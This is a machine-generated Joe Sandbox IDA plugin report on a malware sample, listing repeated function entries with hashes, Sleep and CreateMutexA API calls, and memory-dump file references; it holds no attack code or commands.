Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a4e8ab8afc47586b52e26839b7256fce9d2ba1ecb426c609a3e29281034ada35
Instruction ID: 8dfaf68bb5cb394d8977957cdad528118f1c8bff41535a355cc732d7e6986210
Opcode Fuzzy Hash: a4e8ab8afc47586b52e26839b7256fce9d2ba1ecb426c609a3e29281034ada35
Instruction Fuzzy Hash: 043128717101049BFF18EB78CD897ACBBE2DB85314F2486A8E424AB3E1D7759980CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00B89EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c37a7b7fd0489127735fd693a5c8ad2f7705de98541ba093f4fe76b36b2d039c
Instruction ID: 25c0315b4a3502502e8a2d63385ebd2f5c07d23dadb2d430f5f9d7414ba778be
Opcode Fuzzy Hash: c37a7b7fd0489127735fd693a5c8ad2f7705de98541ba093f4fe76b36b2d039c
Instruction Fuzzy Hash: 303126717001049BEF18EB78CD897ADB6E2DB85314F2482A8E121AB7E5DBB59980C751

Uniqueness

Uniqueness Score: -1.00%

Function 00B8A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 002939ccdb2d5c9684caef4d73aac8bc22e8743212b25dca7225fda4210323cc
Instruction ID: ad8e59e2bbda7e1800b019f19c598c8dfb79e4cbdf2a898e4b9c68547b868d24
Opcode Fuzzy Hash: 002939ccdb2d5c9684caef4d73aac8bc22e8743212b25dca7225fda4210323cc
Instruction Fuzzy Hash: 90313B717001449BFB18FB78CD897ADB7F2DB85314F208299E411AB3E2CB759980C752

Uniqueness

Uniqueness Score: -1.00%

Function 00B8A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 81507289ca1da1331fb0db8ffa613b45c469983ab3ca7945b9da05ab7ad3a787
Instruction ID: fc438253f41da5b8d7df66146bbeb65a7cf53882c25e7f63a4941b437d9f683f
Opcode Fuzzy Hash: 81507289ca1da1331fb0db8ffa613b45c469983ab3ca7945b9da05ab7ad3a787
Instruction Fuzzy Hash: 853126717001449BFB18FB68CD897ADBBF2DB86314F248299E421AB3E2C7759980C752

Uniqueness

Uniqueness Score: -1.00%

Function 00B895B9 Relevance: 3.1, APIs: 2, Instructions: 95
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 19af3da15f18dc92c65e5aaba9c1c14800f36f65b64cbb4410d6c28dc2172bb3
Instruction ID: c0a87dd15917c3d33747bdca2daf20093c46e75cd0b42a82f66cbd9d2e351da4
Opcode Fuzzy Hash: 19af3da15f18dc92c65e5aaba9c1c14800f36f65b64cbb4410d6c28dc2172bb3
Instruction Fuzzy Hash: AA11AB7231020497FB24AF68CD8977CB7E1EB85310F244299E4289B7E1DB799440CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00B89E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e870c644c2620b4e208ea33b1bbec7f634fcd3e6b9bb6d186c10d8868cedf7da
Instruction ID: 4613ff35ce02be50544959291c3de81f8051b31d7ed98d7a68babedb5a785001
Opcode Fuzzy Hash: e870c644c2620b4e208ea33b1bbec7f634fcd3e6b9bb6d186c10d8868cedf7da
Instruction Fuzzy Hash: 32216D727002449BFF18EB68DC8977CBBE1EB85311F2442ADE415AB3E1CB759580C751

Uniqueness

Uniqueness Score: -1.00%

Function 00B8A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

